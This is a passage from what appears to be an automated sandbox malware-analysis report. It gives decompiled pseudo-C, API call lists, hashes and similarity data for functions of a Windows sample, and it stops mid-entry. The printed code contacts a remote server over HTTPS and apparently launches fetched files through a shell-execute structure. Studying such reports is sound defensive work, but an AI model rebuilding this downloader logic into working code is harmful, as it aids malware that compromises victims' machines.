StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 004064B0
lstrcat.KERNEL32(?,00000000), ref: 004064E5
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 00406505
lstrcat.KERNEL32(?,00000000), ref: 0040654B
StrCmpCA.SHLWAPI(00000000,00418BE0), ref: 00406562
StrCmpCA.SHLWAPI(00000000,00418BE0), ref: 0040658A

Part of subcall function 00406130: wsprintfA.USER32 ref: 0040616C
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 004061BC
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 004061EA
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 00406218
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 00406246

Strings

Qg@, xrefs: 004065BA, 004065BD

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: lstrcatlstrcpy$wsprintf
String ID: Qg@
API String ID: 2209684894-3462340965
Opcode ID: 315f55e7bfbd4beb232a1c8891c28293502b42785fb1e119d37202c3e2330f60
Instruction ID: a6c453932f1a9cbb60a7cc7ac58ece15fec1271fc19e7cecd9f856b6af5d47a2
Opcode Fuzzy Hash: 315f55e7bfbd4beb232a1c8891c28293502b42785fb1e119d37202c3e2330f60
Instruction Fuzzy Hash: CB7160B5904218EBCB24DF50DC85BEA73B8AF44304F0482EEE10AA7290D7799BD4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0068BF40, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 156COMMON

Download Yara Rule

Strings

4jhA, xrefs: 0068C09C, 0068C09F
4jhA, xrefs: 0068BF6C, 0068C0C0, 0068BF6F, 0068C0C3

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID:
String ID: 4jhA$4jhA
API String ID: 0-169204261
Opcode ID: df366fe4cfdcb17f8835ee6a92eebfbb1b82b7e289318704104eb4b0eb4033a1
Instruction ID: 6f10227a6cd33c6648f49d5b1b3650753750073ccfb8dacad1f5639382951e09
Opcode Fuzzy Hash: df366fe4cfdcb17f8835ee6a92eebfbb1b82b7e289318704104eb4b0eb4033a1
Instruction Fuzzy Hash: 5E51FAB5A11208EFCB04EBE4DC84FEEB7B9AF4C750F148618F605E6290DB749942CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00411720, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 198
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411720(void* _a4, signed int* _a8, intOrPtr* _a12, intOrPtr* _a16, signed int* _a20) {
				int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v48;
				intOrPtr _v56;
				intOrPtr _v64;
				struct _BY_HANDLE_FILE_INFORMATION _v72;
				long _v76;
				void _v80;
				void _v84;
				void _v88;
				signed short _v92;
				signed short _v96;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr* _t138;
				intOrPtr _t139;
				intOrPtr _t140;
				intOrPtr _t161;
				intOrPtr _t162;
				intOrPtr _t163;
				void* _t177;

				_v8 = GetFileInformationByHandle(_a4,  &_v72);
				if(_v8 == 0) {
					return 0x200;
				}
				_v16 = _v72.dwFileAttributes;
				_v12 = 0;
				if((_v16 & 0x00000001) != 0) {
					_v12 = _v12 | 0x00000001;
				}
				if((_v16 & 0x00000002) != 0) {
					_v12 = _v12 | 0x00000002;
				}
				if((_v16 & 0x00000004) != 0) {
					_v12 = _v12 | 0x00000004;
				}
				if((_v16 & 0x00000010) != 0) {
					_v12 = _v12 | 0x00000010;
				}
				if((_v16 & 0x00000020) != 0) {
					_v12 = _v12 | 0x00000020;
				}
				if((_v16 & 0x00000010) == 0) {
					_v12 = _v12 | 0x80000000;
				} else {
					_v12 = _v12 | 0x40000000;
				}
				_v12 = _v12 | 0x01000000;
				if((_v16 & 0x00000001) == 0) {
					_v12 = _v12 | 0x00800000;
				}
				_v76 = GetFileSize(_a4, 0);
				if(_v76 > 0x28) {
					SetFilePointer(_a4, 0, 0, 0);
					ReadFile(_a4,  &_v80, 2,  &_v20, 0);
					SetFilePointer(_a4, 0x24, 0, 0);
					ReadFile(_a4,  &_v84, 4,  &_v20, 0);
					if((_v80 & 0x0000ffff) == 0x54ad && _v76 > _v84 + 0x34) {
						SetFilePointer(_a4, _v84, 0, 0);
						ReadFile(_a4,  &_v88, 4,  &_v20, 0);
						if(_v88 == 0x5a4d || _v88 == 0x454e || _v88 == 0x454c || _v88 == 0x4550) {
							_v12 = _v12 | 0x00400000;
						}
					}
				}
				if(_a8 != 0) {
					 *_a8 = _v12;
				}
				if(_a12 != 0) {
					 *_a12 = _v76;
				}
				if(_a16 != 0) {
					_t161 = _v72.ftLastAccessTime;
					_t103 = E00411630(_t161, _v56);
					_t138 = _a16;
					 *_t138 = _t103;
					 *((intOrPtr*)(_t138 + 4)) = _t161;
					_t162 = _v48;
					_t105 = E00411630(_v72.ftLastWriteTime, _t162);
					_t139 = _a16;
					 *((intOrPtr*)(_t139 + 8)) = _t105;
					 *((intOrPtr*)(_t139 + 0xc)) = _t162;
					_t163 = _v64;
					_t107 = E00411630(_v72.ftCreationTime, _t163);
					_t177 = _t177 + 0x18;
					_t140 = _a16;
					 *((intOrPtr*)(_t140 + 0x10)) = _t107;
					 *((intOrPtr*)(_t140 + 0x14)) = _t163;
				}
				if(_a20 != 0) {
					E00411670(_v72.ftLastWriteTime, _v48,  &_v96,  &_v92);
					 *_a20 = _v92 & 0x0000ffff | (_v96 & 0x0000ffff) << 0x00000010;
				}
				return 0;
			}

0x00411734
0x0041173b
0x00000000
0x0041173d
0x0041174a
0x0041174d
0x0041175a
0x00411762
0x00411762
0x0041176b
0x00411773
0x00411773
0x0041177c
0x00411784
0x00411784
0x0041178d
0x00411795
0x00411795
0x0041179e
0x004117a6
0x004117a6
0x004117af
0x004117c7
0x004117b1
0x004117ba
0x004117ba
0x004117d3
0x004117dc
0x004117e8
0x004117e8
0x004117f7
0x004117fe
0x0041180e
0x00411824
0x00411834
0x0041184a
0x0041185a
0x00411873
0x00411889
0x00411896
0x004118bc
0x004118bc
0x00411896
0x0041185a
0x004118c3
0x004118cb
0x004118cb
0x004118d1
0x004118d9
0x004118d9
0x004118df
0x004118e5
0x004118e9
0x004118f1
0x004118f4
0x004118f6
0x004118f9
0x00411901
0x00411909
0x0041190c
0x0041190f
0x00411912
0x0041191a
0x0041191f
0x00411922
0x00411925
0x00411928
0x00411928
0x0041192f
0x00411941
0x00411959
0x00411959
0x00000000

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 0041172E
GetFileSize.KERNEL32(00000000,00000000), ref: 004117F1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041180E
ReadFile.KERNEL32(00000000,?,00000002,?,00000000), ref: 00411824
SetFilePointer.KERNEL32(00000000,00000024,00000000,00000000), ref: 00411834
ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 0041184A
SetFilePointer.KERNEL32(00000000,?,00000000,00000000), ref: 00411873

Strings

(, xrefs: 004117FA
PE, xrefs: 004118AA

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: File$Pointer$Read$HandleInformationSize
String ID: ($PE
API String ID: 4143101051-3347799738
Opcode ID: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction ID: e3637cdcc6502234263c20fa9ec7c337361675902c7ba39fe6a18ec050177dc1
Opcode Fuzzy Hash: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction Fuzzy Hash: 7C814AB5D10208ABEB04DFD4C885BEEBBB5FB48300F14C15AE615AB394D3349A81CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00691970, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 198fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 0069197E
GetFileSize.KERNEL32(00000000,00000000), ref: 00691A41
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00691A5E
ReadFile.KERNEL32(00000000,?,00000002,?,00000000), ref: 00691A74
SetFilePointer.KERNEL32(00000000,00000024,00000000,00000000), ref: 00691A84
ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 00691A9A
SetFilePointer.KERNEL32(00000000,?,00000000,00000000), ref: 00691AC3

Strings

(, xrefs: 00691A4A
PE, xrefs: 00691AFA

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: File$Pointer$Read$HandleInformationSize
String ID: ($PE
API String ID: 4143101051-3347799738
Opcode ID: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction ID: 7f3dfa2ea22b4528a1059b3d1e13f0bf516b8bbea836aeb6f77a561fea9e06ad
Opcode Fuzzy Hash: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction Fuzzy Hash: 5C812CB1D10209AFDF14CFD8D895BEEBBBAFB49301F248459E515AF284D7309A81CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00406650, Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 176
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00406650(void* __ecx, void* __eflags) {
				char _v5004;
				char _v5268;
				char _v10268;
				char _v10272;
				char _v10276;
				char _v10540;
				char _v10544;
				intOrPtr _t46;
				intOrPtr _t51;
				intOrPtr _t52;
				intOrPtr _t61;
				intOrPtr _t71;
				void* _t76;
				intOrPtr _t90;
				intOrPtr _t92;
				intOrPtr _t93;
				intOrPtr _t97;
				intOrPtr _t101;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t111;
				intOrPtr _t112;
				intOrPtr _t116;
				CHAR* _t117;
				void* _t121;
				void* _t129;
				void* _t133;

				_t133 = __eflags;
				E004139B0(0x292c, __ecx);
				_v10544 = E00413730(0, 0x6400000, 0);
				E0040B720( &_v5268, 0x104);
				E0040B720( &_v10268, 0x1388);
				E0040B720( &_v10540, 0x104);
				 *0x41aa24( &_v5268, E0040B8B0( &_v10268, _t133, 0x10));
				_t90 =  *0x41a260; // 0x7e42e8
				 *0x41aa24( &_v5268, _t90);
				_t46 =  *0x41a368; // 0x7e42c8
				 *0x41aa24( &_v10540, _t46);
				_t107 =  *0x41a7c4; // 0x7e56c8
				 *0x41aa24( &_v10540, _t107);
				_t92 =  *0x41a76c; // 0x7f9018
				 *0x41aa24( &_v10540, _t92);
				_t51 =  *0x41a714; // 0x7fa038
				_t93 =  *0x41a288; // 0x7f91c8
				_t109 =  *0x41a7c4; // 0x7e56c8
				_t52 =  *0x41a368; // 0x7e42c8
				 *0x41aa24( &_v10268, E004051A0(_t93, _t133, _t52, _t109, _t93, _t51));
				E00406320( &_v10268, _t133,  &_v10268, _v10544);
				E0040B720( &_v10268, 0x1388);
				_t111 =  *0x41a6a4; // 0x7f98b8
				E004049E0( &_v10268,  &_v10540, _t111);
				E0040B720( &_v10540, 0x104);
				_t112 =  *0x41aba8; // 0x0
				_t61 =  *0x41abac; // 0x0
				_t97 =  *0x41aba4; // 0x0
				E0040A700(_t133, _v10544, _t97, _t61, _t112);
				E00401470(_v10544);
				E004056E0(_v10544, _t133, _v10544);
				_t129 = _t121 + 0x48;
				_t134 =  *0x41abb0;
				if( *0x41abb0 != 0) {
					E0040BCF0(_t134, 0x41, _v10544);
					_t129 = _t129 + 8;
				}
				E00413800(_v10544,  &_v10276,  &_v10272);
				E0040B720( &_v5004, 0x1388);
				_t101 =  *0x41a288; // 0x7f91c8
				_t116 =  *0x41a7c4; // 0x7e56c8
				_t71 =  *0x41a368; // 0x7e42c8
				 *0x41aa24( &_v5004, E00404BE0(_t101, _t134, _t71, _t116, _t101,  &_v5268, _v10276, _v10272));
				_t117 =  *0x41a6a8; // 0x7faee8
				SetCurrentDirectoryA(_t117);
				_t76 =  *0x41a908( &_v5004);
				_t135 = _t76 - 5;
				if(_t76 > 5) {
					E00405B00(_t135,  &_v5004);
				}
				E0040B720( &_v5268, 0x104);
				E0040B720( &_v5004, 0x1388);
				E0040B720( &_v10276, 4);
				E0040B720( &_v10272, 4);
				E0040B720( &_v10544, 4);
				E00405DE0();
				 *0x41abb4 = 1;
				return 0;
			}

0x00406650
0x00406658
0x0040666e
0x00406680
0x00406691
0x004066a2
0x004066b9
0x004066bf
0x004066cd
0x004066d3
0x004066e0
0x004066e6
0x004066f4
0x004066fa
0x00406708
0x0040670e
0x00406714
0x0040671b
0x00406722
0x00406738
0x0040674c
0x00406760
0x00406765
0x00406773
0x00406787
0x0040678c
0x00406793
0x00406799
0x004067a7
0x004067b6
0x004067c5
0x004067ca
0x004067cd
0x004067d4
0x004067df
0x004067e4
0x004067e4
0x004067fc
0x00406810
0x0040682a
0x00406831
0x00406838
0x0040684e
0x00406854
0x0040685b
0x00406868
0x0040686e
0x00406871
0x0040687a
0x0040687f
0x0040688e
0x0040689f
0x004068ad
0x004068bb
0x004068c9
0x004068ce
0x004068d3
0x004068e2

APIs

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 004066B9
lstrcat.KERNEL32(?,007E42E8), ref: 004066CD
lstrcat.KERNEL32(?,007E42C8), ref: 004066E0
lstrcat.KERNEL32(?,007E56C8), ref: 004066F4
lstrcat.KERNEL32(?,007F9018), ref: 00406708

Part of subcall function 004051A0: InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 004051CD
Part of subcall function 004051A0: StrCmpCA.SHLWAPI(00000000,https://), ref: 004051F3
Part of subcall function 004051A0: InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0040522D
Part of subcall function 004051A0: InternetConnectA.WININET(00000000,007E42C8,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00405253
Part of subcall function 004051A0: HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00C00100,00000000), ref: 004052B3
Part of subcall function 004051A0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405327
Part of subcall function 004051A0: HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00405343
Part of subcall function 004051A0: StrCmpCA.SHLWAPI(?,200), ref: 00405359

lstrcat.KERNEL32(?,00000000), ref: 00406738

Part of subcall function 00406320: lstrcat.KERNEL32(?,?), ref: 00406394

Part of subcall function 004049E0: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E

Part of subcall function 0040A700: GetProcessHeap.KERNEL32(00000000,000F423F,?,004067AC,?,00000000,00000000,00000000,?,00000104,?,00001388), ref: 0040A70A
Part of subcall function 0040A700: RtlAllocateHeap.NTDLL(00000000,?,004067AC), ref: 0040A711

Part of subcall function 004056E0: GetProcessHeap.KERNEL32(00000000,000F423F,?,?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 004056EB
Part of subcall function 004056E0: RtlAllocateHeap.NTDLL(00000000,?,004067CA), ref: 004056F2
Part of subcall function 004056E0: lstrcat.KERNEL32(?,007E42F8), ref: 00405705
Part of subcall function 004056E0: lstrcat.KERNEL32(?,007E4268), ref: 00405716
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC0), ref: 00405725
Part of subcall function 004056E0: lstrcat.KERNEL32(?,007FA048), ref: 00405736
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC4), ref: 00405745
Part of subcall function 004056E0: lstrcat.KERNEL32(?,007E5768), ref: 00405756
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC0), ref: 00405765
Part of subcall function 004056E0: lstrcat.KERNEL32(?,007F9078), ref: 00405776
Part of subcall function 004056E0: GetCurrentProcessId.KERNEL32(?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 0040577C
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00000000), ref: 00405790
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040579F
Part of subcall function 004056E0: lstrcat.KERNEL32(007F9168,007F9168), ref: 004057AF
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 004057BF
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004057CE
Part of subcall function 004056E0: lstrcat.KERNEL32(007F91E0,007F91E0), ref: 004057DF
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 004057EF
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004057FE
Part of subcall function 004056E0: lstrcat.KERNEL32(007E55C8,007E55C8), ref: 0040580F
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 0040581F
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040582E

lstrcat.KERNEL32(?,00000000), ref: 0040684E
SetCurrentDirectoryA.KERNEL32(007FAEE8,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 0040685B
lstrlen.KERNEL32(?,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 00406868

Strings

B~, xrefs: 004066BF

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: lstrcat$HeapInternet$HttpOpenProcess$AllocateCurrentRequest$ConnectDirectoryInfoOptionQuerySendSystemTimelstrlen
String ID: B~
API String ID: 2767677664-2445534496
Opcode ID: fabbc2a9677d3c6aeca39df0d5bc9609c913b9ae446aed9ab3f1a9a909d992f7
Instruction ID: 4521fb7a1d59e918bbbcfb22c6a1b4b47e0d9ef7d9e5ed5fdd184795f43376b9
Opcode Fuzzy Hash: fabbc2a9677d3c6aeca39df0d5bc9609c913b9ae446aed9ab3f1a9a909d992f7
Instruction Fuzzy Hash: 476159B6901214ABD711EB60DC45DDA73BCEB4C744F00C5AAF209A3191DB78E794CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 006868A0, Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 176stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0068BB00: GetSystemTime.KERNEL32(?,?,00000104), ref: 0068BB21

lstrcat.KERNEL32(?,00000000), ref: 00686909
lstrcat.KERNEL32(?,B~), ref: 0068691D
lstrcat.KERNEL32(?,0041A368), ref: 00686930
lstrcat.KERNEL32(?,0041A7C4), ref: 00686944
lstrcat.KERNEL32(?,0041A76C), ref: 00686958

Part of subcall function 006853F0: InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 0068541D
Part of subcall function 006853F0: StrCmpCA.SHLWAPI(00000000,00418B90), ref: 00685443
Part of subcall function 006853F0: InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0068547D
Part of subcall function 006853F0: InternetConnectA.WININET(00000000,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 006854A3
Part of subcall function 006853F0: HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00C00100,00000000), ref: 00685503
Part of subcall function 006853F0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00685577
Part of subcall function 006853F0: HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00685593
Part of subcall function 006853F0: StrCmpCA.SHLWAPI(?,00418B8C), ref: 006855A9

lstrcat.KERNEL32(?,00000000), ref: 00686988

Part of subcall function 00686570: lstrcat.KERNEL32(?,?), ref: 006865E4

Part of subcall function 00684C30: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00684C5E

Part of subcall function 0068A950: GetProcessHeap.KERNEL32(00000000,000F423F,?,006869FC,?,0041ABA4,0041ABAC,0041ABA8,?,00000104,?,00001388), ref: 0068A95A
Part of subcall function 0068A950: RtlAllocateHeap.NTDLL(00000000,?,006869FC), ref: 0068A961

Part of subcall function 00685930: GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0068593B
Part of subcall function 00685930: RtlAllocateHeap.NTDLL(00000000), ref: 00685942
Part of subcall function 00685930: lstrcat.KERNEL32(?,0041A6E4), ref: 00685955
Part of subcall function 00685930: lstrcat.KERNEL32(?,hB~), ref: 00685966
Part of subcall function 00685930: lstrcat.KERNEL32(?,00418BC0), ref: 00685975
Part of subcall function 00685930: lstrcat.KERNEL32(?,0041A6C4), ref: 00685986
Part of subcall function 00685930: lstrcat.KERNEL32(?,00418BC4), ref: 00685995
Part of subcall function 00685930: lstrcat.KERNEL32(?,hW~), ref: 006859A6
Part of subcall function 00685930: lstrcat.KERNEL32(?,00418BC0), ref: 006859B5
Part of subcall function 00685930: lstrcat.KERNEL32(?,0041A79C), ref: 006859C6
Part of subcall function 00685930: GetCurrentProcessId.KERNEL32 ref: 006859CC
Part of subcall function 00685930: lstrcat.KERNEL32(?,00000000), ref: 006859E0
Part of subcall function 00685930: lstrcat.KERNEL32(?,00418BC0), ref: 006859EF
Part of subcall function 00685930: lstrcat.KERNEL32(?,0041A55C), ref: 006859FF
Part of subcall function 00685930: lstrcat.KERNEL32(?,00000000), ref: 00685A0F
Part of subcall function 00685930: lstrcat.KERNEL32(?,00418BC4), ref: 00685A1E
Part of subcall function 00685930: lstrcat.KERNEL32(?,0041A044), ref: 00685A2F
Part of subcall function 00685930: lstrcat.KERNEL32(?,00000000), ref: 00685A3F
Part of subcall function 00685930: lstrcat.KERNEL32(?,00418BC0), ref: 00685A4E
Part of subcall function 00685930: lstrcat.KERNEL32(?,0041A0FC), ref: 00685A5F
Part of subcall function 00685930: lstrcat.KERNEL32(?,00000000), ref: 00685A6F
Part of subcall function 00685930: lstrcat.KERNEL32(?,00418BC4), ref: 00685A7E

lstrcat.KERNEL32(?,00000000), ref: 00686A9E
SetCurrentDirectoryA.KERNEL32(0041A6A8,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 00686AAB
lstrlen.KERNEL32(?,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 00686AB8

Strings

B~, xrefs: 0068690F, 00686915

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: lstrcat$HeapInternet$HttpOpenProcess$AllocateCurrentRequest$ConnectDirectoryInfoOptionQuerySendSystemTimelstrlen
String ID: B~
API String ID: 2767677664-2445534496
Opcode ID: 086d614e0f8ceeab508543bd7818011aace6c64de742493a2a319ccd1d6628aa
Instruction ID: 6d327d987c7882cc2e520b2b77c83223f043ea829cbd92aa3a04af3a5bca9445
Opcode Fuzzy Hash: 086d614e0f8ceeab508543bd7818011aace6c64de742493a2a319ccd1d6628aa
Instruction Fuzzy Hash: 866144B6901218ABCB51FBA0DC49DDA73BDAB48700F0085E9F20993191DA74EA95CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00405B00, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 178
stringCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00405B00(void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				char _v276;
				char _v540;
				char _v804;
				char _v1068;
				char _v1072;
				char _v1076;
				intOrPtr _v1104;
				intOrPtr _v1108;
				intOrPtr _v1112;
				char* _v1116;
				char* _v1120;
				intOrPtr _v1124;
				intOrPtr _v1128;
				intOrPtr _v1132;
				char _v1136;
				intOrPtr _v1140;
				char _t56;
				char _t66;
				void* _t69;
				void* _t73;
				void* _t77;
				void* _t81;
				void* _t83;
				intOrPtr _t110;
				intOrPtr _t117;
				intOrPtr _t118;
				intOrPtr _t119;
				intOrPtr _t120;
				void* _t126;
				void* _t127;

				_t56 = E0040C090(_a4, "|",  &_v1076);
				_t127 = _t126 + 0xc;
				_v1072 = _t56;
				_v8 = 1;
				E0040B720( &_v804, 0x104);
				E0040B720( &_v1068, 0x104);
				E0040B720( &_v540, 0x104);
				E0040B720( &_v276, 0x104);
				while(_v1072 != 0) {
					_v1140 = _v8;
					if(_v1140 == 1) {
						 *0x41aa24( &_v804, _v1072);
					} else {
						if(_v1140 == 2) {
							 *0x41aa24( &_v1068, _v1072);
							_t69 = E0040BF50( &_v1068, __eflags, 0x1a);
							_t117 =  *0x41a574; // 0x7f9300
							 *0x41aac8( &_v540, E0040BEB0( &_v1068, _t117, _t69));
							_t73 = E0040BF50( &_v540, __eflags, 0x1c);
							_t118 =  *0x41a518; // 0x7f92d0
							 *0x41aac8( &_v540, E0040BEB0( &_v540, _t118, _t73));
							_t77 = E0040BF50( &_v540, __eflags, 0x28);
							_t119 =  *0x41a2f8; // 0x7f9258
							 *0x41aac8( &_v540, E0040BEB0( &_v540, _t119, _t77));
							_t81 = E0040BF50( &_v540, __eflags, 0x10);
							_t120 =  *0x41a494; // 0x7f9270
							_t83 = E0040BEB0( &_v540, _t120, _t81);
							_t127 = _t127 + 0x40;
							 *0x41aac8( &_v540, _t83);
						} else {
							if(_v1140 == 3) {
								 *0x41aa24( &_v276, _v1072);
								E004049E0( &_v540,  &_v804,  &_v540);
								_t127 = _t127 + 8;
								E0040B6E0( &_v540,  &_v1136, 0, 0x3c);
								_v1136 = 0x3c;
								_v1132 = 0;
								_v1128 = 0;
								_t110 =  *0x41a694; // 0x7e4288
								_v1124 = _t110;
								_v1120 =  &_v540;
								_v1116 =  &_v276;
								_v1112 = 0;
								_v1108 = 5;
								_v1104 = 0;
								 *0x41aa84( &_v1136);
								E0040B6E0( &_v1136,  &_v1136, 0, 0x3c);
								E0040B720( &_v1068, 0x104);
								E0040B720( &_v540, 0x104);
								E0040B720( &_v276, 0x104);
								E0040B720( &_v804, 0x104);
								_v8 = 0;
							}
						}
					}
					_v8 = _v8 + 1;
					_t66 = E0040C090(0, "|",  &_v1076);
					_t127 = _t127 + 0xc;
					_v1072 = _t66;
				}
				return E0040B720( &_v1072, 4);
			}

0x00405b19
0x00405b1e
0x00405b21
0x00405b27
0x00405b3a
0x00405b4b
0x00405b5c
0x00405b6d
0x00405b72
0x00405b82
0x00405b8f
0x00405bba
0x00405b91
0x00405b98
0x00405bd3
0x00405bdb
0x00405be4
0x00405c02
0x00405c0a
0x00405c13
0x00405c31
0x00405c39
0x00405c42
0x00405c60
0x00405c68
0x00405c71
0x00405c7f
0x00405c84
0x00405c8f
0x00405b9a
0x00405ba1
0x00405ca8
0x00405cbc
0x00405cc1
0x00405ccf
0x00405cd4
0x00405cde
0x00405ce8
0x00405cf2
0x00405cf8
0x00405d04
0x00405d10
0x00405d16
0x00405d20
0x00405d2a
0x00405d3b
0x00405d4c
0x00405d5d
0x00405d6e
0x00405d7f
0x00405d90
0x00405d95
0x00405d95
0x00405ba1
0x00405b98
0x00405da2
0x00405db3
0x00405db8
0x00405dbb
0x00405dbb
0x00405dd7

APIs

lstrcat.KERNEL32(?,00000000), ref: 00405BBA
lstrcat.KERNEL32(?,00000000), ref: 00405BD3

Part of subcall function 0040BF50: SHGetFolderPathA.SHELL32(00000000,0040619E,00000000,00000000,?,?,000003E8), ref: 0040BF7B

Part of subcall function 0040BEB0: StrStrA.SHLWAPI(007F9300,?,?,004061B1,?,007F9300,00000000), ref: 0040BEBE

lstrcpy.KERNEL32(?,00000000), ref: 00405C02

Part of subcall function 0040BEB0: lstrcpyn.KERNEL32(0041AC88,007F9300,007F9300,?,004061B1,?,007F9300), ref: 0040BEE2
Part of subcall function 0040BEB0: wsprintfA.USER32 ref: 0040BF3B

lstrcpy.KERNEL32(?,00000000), ref: 00405C31
lstrcpy.KERNEL32(?,00000000), ref: 00405C60
lstrcpy.KERNEL32(?,00000000), ref: 00405C8F

Strings

<, xrefs: 00405CD4

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: lstrcpy$lstrcat$FolderPathlstrcpynwsprintf
String ID: <
API String ID: 2415926151-4251816714
Opcode ID: 747730083efd5928e2e27fe322c6f8ad2ed5ef5884fc777b8ac9b0fedd14d06d
Instruction ID: badc1f77fbd681f1876fa2e3389a3849b2e9868718c133fb1f617daaf3b8e41a
Opcode Fuzzy Hash: 747730083efd5928e2e27fe322c6f8ad2ed5ef5884fc777b8ac9b0fedd14d06d
Instruction Fuzzy Hash: D86114F190021CABD715EB60DC85FDE7378AB58304F0445AAF309A6191DB796B88CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 00685D50, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 178stringCOMMON

Download Yara Rule

APIs

